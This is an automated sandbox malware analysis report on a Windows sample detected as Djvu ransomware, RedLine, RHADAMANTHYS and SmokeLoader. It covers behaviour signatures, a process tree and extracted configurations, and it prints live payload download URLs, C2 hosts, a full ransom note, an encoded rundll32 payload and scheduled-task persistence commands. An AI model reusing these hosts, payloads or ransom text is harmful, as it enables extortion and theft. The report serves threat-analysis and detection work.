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Windows Analysis Report
aw9Ynwqd1x.exe

Overview

General Information

Sample Name:aw9Ynwqd1x.exe
Analysis ID:791295
MD5:b5c3c3d5eb5e6b5415ac4d87e3c46850
SHA1:9aa4014de1b622844ddfa4c7ddb17ae384289cd2
SHA256:b7948c22484bddce96a2713da0a6bda18cfd0487db9239ed0fd1790552d5e6b2
Tags:exeTeamBot
Infos:

Detection

Djvu, RHADAMANTHYS, RedLine, SmokeLoader
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Yara detected RedLine Stealer
Detected unpacking (overwrites its own PE header)
Yara detected AntiVM3
Yara detected SmokeLoader
System process connects to network (likely due to code injection or exploit)
Detected unpacking (changes PE section rights)
Antivirus detection for URL or domain
Antivirus detection for dropped file
Snort IDS alert for network traffic
Multi AV Scanner detection for submitted file
Yara detected RHADAMANTHYS Stealer
Benign windows process drops PE files
Malicious sample detected (through community Yara rule)
Yara detected Djvu Ransomware
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for dropped file
Tries to steal Mail credentials (via file / registry access)
Maps a DLL or memory area into another process
Query firmware table information (likely to detect VMs)
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Encrypted powershell cmdline option found
Queries memory information (via WMI often done to detect virtual machines)
Machine Learning detection for sample
Allocates memory in foreign processes
.NET source code contains potential unpacker
Injects a PE file into a foreign processes
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Tries to harvest and steal Bitcoin Wallet information
Deletes itself after installation
Creates a thread in another existing process (thread injection)
Hides that the sample has been downloaded from the Internet (zone.identifier)
Found many strings related to Crypto-Wallets (likely being stolen)
Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)
Uses schtasks.exe or at.exe to add and modify task schedules
Checks if the current machine is a virtual machine (disk enumeration)
Tries to harvest and steal browser information (history, passwords, etc)
Hides threads from debuggers
Writes to foreign memory regions
Tries to steal Crypto Currency Wallets
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
.NET source code references suspicious native API functions
Queues an APC in another process (thread injection)
Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)
Machine Learning detection for dropped file
C2 URLs / IPs found in malware configuration
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
One or more processes crash
Contains functionality to query locales information (e.g. system language)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Uses code obfuscation techniques (call, push, ret)
Found evasive API chain (date check)
Detected potential crypto function
Sample execution stops while process was sleeping (likely an evasion)
JA3 SSL client fingerprint seen in connection with other malware
HTTP GET or POST without a user agent
Uses insecure TLS / SSL version for HTTPS connection
Contains long sleeps (>= 3 min)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Drops files with a non-matching file extension (content does not match file extension)
Drops PE files
Tries to load missing DLLs
Contains functionality to read the PEB
Uses a known web browser user agent for HTTP communication
Checks if the current process is being debugged
Yara detected Keylogger Generic
Dropped file seen in connection with other malware
Creates a process in suspended mode (likely to inject code)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Contains functionality for read data from the clipboard
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Yara signature match
Contains functionality to check if a debugger is running (IsDebuggerPresent)
PE file contains sections with non-standard names
Internet Provider seen in connection with other malware
Contains functionality to query CPU information (cpuid)
Found potential string decryption / allocating functions
Yara detected Credential Stealer
Contains functionality to call native functions
Contains functionality to read the clipboard data
Found dropped PE file which has not been started or loaded
Contains functionality which may be used to detect a debugger (GetProcessHeap)
IP address seen in connection with other malware
Creates a DirectInput object (often for capturing keystrokes)
Is looking for software installed on the system
Queries information about the installed CPU (vendor, model number etc)
PE file does not import any functions
Installs a raw input device (often for capturing keystrokes)
Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))
Allocates memory with a write watch (potentially for evading sandboxes)
Detected TCP or UDP traffic on non-standard ports
Contains capabilities to detect virtual machines
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Classification

  • System is w10x64
  • aw9Ynwqd1x.exe (PID: 1536 cmdline: C:\Users\user\Desktop\aw9Ynwqd1x.exe MD5: B5C3C3D5EB5E6B5415AC4D87E3C46850)
    • explorer.exe (PID: 3452 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)
      • 336E.exe (PID: 1568 cmdline: C:\Users\user\AppData\Local\Temp\336E.exe MD5: 261B1DB94CCF4266128E2EB71A80FDA4)
        • schtasks.exe (PID: 3680 cmdline: "C:\Windows\System32\schtasks.exe" /create /tn "svcupdater" /tr "C:\Users\user\AppData\Roaming\Win32Sync\svcupdater.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f MD5: 15FF7D8324231381BAD48A052F85DF04)
          • conhost.exe (PID: 5080 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • 2560.exe (PID: 2136 cmdline: C:\Users\user\AppData\Local\Temp\2560.exe MD5: 0A006808F7AA017CAF2DF9CE9E2B55A2)
        • 2560.exe (PID: 3152 cmdline: C:\Users\user\AppData\Local\Temp\2560.exe MD5: 0A006808F7AA017CAF2DF9CE9E2B55A2)
      • 226F.exe (PID: 5992 cmdline: C:\Users\user\AppData\Local\Temp\226F.exe MD5: EA25CE2F3580AF1DD771BAC5B0D2BF83)
        • ngentask.exe (PID: 816 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe MD5: ED7F195F7121781CC3D380942765B57D)
        • fontview.exe (PID: 4020 cmdline: C:\Windows\SYSWOW64\fontview.exe MD5: 218D53564FB0DD0CAFBBF871641E70F7)
          • rundll32.exe (PID: 5980 cmdline: "C:\Users\user\AppData\Roaming\nsis_uns5aa2a3.dll",PrintUIEntry |5CQkOhmAAAA|1TKr5GsMwYD|67sDqg8OAAl|xYmwxC0TNSO|1k8B3tZkgiyf2sAZQByAG4XAP9sADMAMgAuAKVkHwBs8|AtBQPz8FP|AFoAeQBPAGL7AEEnAEMAaAA3|wBVAEsAZwBJ|i0CWUiD7CjoBP8CAABIg8Qow||MzMxMiUQkGP9IiVQkEEiJTPskCF0BSItEJDBvSIkEJIEBOEhvAL8ISMdEJBAtAet9DoEBEEiDwAGPAd0QgQFASDmWAHMl|p8DiwwkSAPISF+LwUiLTKsBVHsA|wPRSIvKigmI9wjrwWYFZUiLBPslYPPwM8lIi1D|GEg70XQ2SIP|wiBIiwJIO8L|dCpmg3hIGHX|GkyLQFBmQYPvOGt0BxERS3UI|hEQeBAudAVIi78A69VIi0j9AMH+agBAU1VWV0FUv0FVQVZBV10BZv+BOU1aTYv4TP+L8kiL2Q+F|P7z8ExjSTxBgTz|CVBFAAAPheq+8|BBi4QJiPPwhf|ASI08AQ+E1t5qEYO8CYwtAQ+E|cfz8ESLZyBEi|9fHIt3JESLT|8YTAPhTAPZSP8D8TPJRYXJD|uEpPPwTYvEQYv|EEUz0kgD04r|AoTAdB1BwcrvDQ++wPoAAUQD|dC|EXXsQYH6qv|8DXx0DoPBAf9Jg8AEQTvJc|9p68aLwQ+3DP9ORYssi0wD6+90WDPtqhB0UUH7ixTBANMzyYoCf0yLwusPwcnIEXsDyOUQAUGKANUQ|+0zwDP2QTsM+bbgEKYAg8YBg|j|CHLu6wpIi8v|Qf|VSYkE94P9xeQQxAQ7bxhy|a9mAUFfQV5BXb9BXF9eXVszF0jvgexgAWQAi+no|2b+||9IhcAPW4SYdSBMja8BiysQ38gz|+ibfSCNX|8ETI1FRjPSi9|L|1QkaIAgTIuv4A+Ea3UgRagQM|fAi9ORIEiJfCT1IKYgcIAgSIvwD|OES3UgpiBQSI1W|whEjUdASI2M|SSFEUiL2Oh8|a5+II1WSN4gEOIhzPbz8Ohn7yBEiwaN01cIQSCmIFjKIYmEaySAhxLe8|CLDtogj1iJjCRxEQcwkSDo7THvIIucLTJMi12|OkiD+2xIiiAw|0yJZCQ4TIuk7hoyTIlchAGEJNy2hxGGko0RjUdLMIz7JPDz8EmL1Ojp7fwFMIqceDJIjYT+eDJBgPMhjU9s90QwGKQCg+kBdffzgbx4MiFSZXi|dU2LhCT0IjGU+yT4NQHCSDvYcv84g|psdjNEjXtJQPoAlEG4AJgAeqYgQMoi+HQZRLYwvsAxSY1UJGyRIEnfg+hs6GuCMEiL|c6mIHhIhf90Es+LVUJMjjAbMUiN|0wkQP|XSIHEAHQhYSQtCC0B MD5: 73C519F050C20580F8A62C849D49215A)
            • dllhost.exe (PID: 4924 cmdline: C:\Windows\system32\dllhost.exe MD5: 2528137C6745C4EADD87817A1909677E)
              • Library.exe (PID: 4500 cmdline: "C:\Users\user\AppData\Local\Temp\Library.exe" MD5: EC5A11FC9A9CB3111AFA460FEC201D3D)
                • powershell.exe (PID: 4908 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAOQAwAA== MD5: 95000560239032BC68B4C2FDFCDEF913)
                  • conhost.exe (PID: 4044 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
            • WerFault.exe (PID: 3304 cmdline: C:\Windows\system32\WerFault.exe -u -p 5980 -s 648 MD5: 2AFFE478D86272288BBEF5A00BBEF6A0)
  • dbjigst (PID: 996 cmdline: C:\Users\user\AppData\Roaming\dbjigst MD5: B5C3C3D5EB5E6B5415AC4D87E3C46850)
  • svcupdater.exe (PID: 5684 cmdline: C:\Users\user\AppData\Roaming\Win32Sync\svcupdater.exe MD5: A4C9D357EA9C7679D978EB985F61E6C5)
  • svcupdater.exe (PID: 2636 cmdline: C:\Users\user\AppData\Roaming\Win32Sync\svcupdater.exe MD5: A4C9D357EA9C7679D978EB985F61E6C5)
  • cleanup
{"Download URLs": ["http://uaery.top/dl/build2.exe", "http://drampik.com/files/1/build3.exe"], "C2 url": "http://drampik.com/lancer/get.php", "Ransom note file": "_readme.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-cud8EGMtyB\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@freshmail.top\r\n\r\nReserve e-mail address to contact us:\r\ndatarestorehelp@airmail.cc\r\n\r\nYour personal ID:\r\n0637JOsie", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\dell\\", "E:\\Intel\\", "E:\\MSOCache\\", "E:\\Program Files\\", "E:\\Program Files (x86)\\", "E:\\Games\\", "F:\\Users\\%username%\\AppData\\Roaming\\", "F:\\Users\\%username%\\AppData\\Local\\", "F:\\Windows\\", "F:\\PerfLogs\\", "F:\\ProgramData\\Desktop\\", "F:\\ProgramData\\Microsoft\\", "F:\\Users\\Public\\", "F:\\$Recycle.Bin\\", "F:\\$WINDOWS.~BT\\", "F:\\dell\\", "F:\\Intel\\"], "Public Key": "-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu01T\\/gszGuz7iKnpiRXv\\\\nGwWvl\\/ZhD6D24AJOT+SbHfvz6LGasPMGyfXmLe6Fo7e0cUtl3OwZeuwDkg4lB4eE\\\\nFp6tv8RPx3NAGJjylTPy7ZhLTxEuSD0YIP62Rs6Cek+fvfF53PxiGJhQuIxfvAVe\\\\nsFSNJ1+fNU92+JI5SRY0ZJdMezrQYJC7YY0onlwpLsiPbN5Osc6Jw2oabAVAS6rn\\\\nwQkW0GgIFh9e9trQc9Rdc5bf9X3s95J0jKg0TaTVFdw6RECS2cvRD1tZwc196EJ1\\\\nc5nBmBlLFWZqwkzVp4AORRnGGqz\\/OUTXiUmgNX+umpwUvdthK+7o1zc87nS20aU+\\\\nowIDAQAB\\\\n-----END PUBLIC KEY-----"}
{"C2 url": "89.208.103.88:37538", "Bot Id": "birj proliv", "Authorization Header": "9941068ef2768ed5ba54fc3eed22d795"}
{"C2 list": ["http://bulimu55t.net/", "http://soryytlic4.net/", "http://bukubuka1.net/", "http://novanosa5org.org/", "http://hujukui3.net/", "http://newzelannd66.org/", "http://golilopaster.org/"]}
SourceRuleDescriptionAuthorStrings
dump.pcapJoeSecurity_RedLineYara detected RedLine StealerJoe Security
    dump.pcapJoeSecurity_RedLine_1Yara detected RedLine StealerJoe Security
      SourceRuleDescriptionAuthorStrings
      0000000D.00000002.402603602.0000000002C30000.00000040.00001000.00020000.00000000.sdmpWindows_Trojan_Smokeloader_3687686funknownunknown
      • 0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
      0000000F.00000002.362651886.0000000004A00000.00000040.00001000.00020000.00000000.sdmpJoeSecurity_DjvuYara detected Djvu RansomwareJoe Security
        0000000F.00000002.362651886.0000000004A00000.00000040.00001000.00020000.00000000.sdmpWindows_Ransomware_Stop_1e8d48ffunknownunknown
        • 0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
        • 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
        00000011.00000002.363362004.0000000000400000.00000040.00000400.00020000.00000000.sdmpSUSP_XORed_URL_in_EXEDetects an XORed URL in an executableFlorian Roth
        • 0xe23ea:$s1: http://
        • 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF
        • 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF
        • 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF
        • 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF
        • 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF
        • 0xe23ea:$f1: http://
        00000011.00000002.363362004.0000000000400000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_DjvuYara detected Djvu RansomwareJoe Security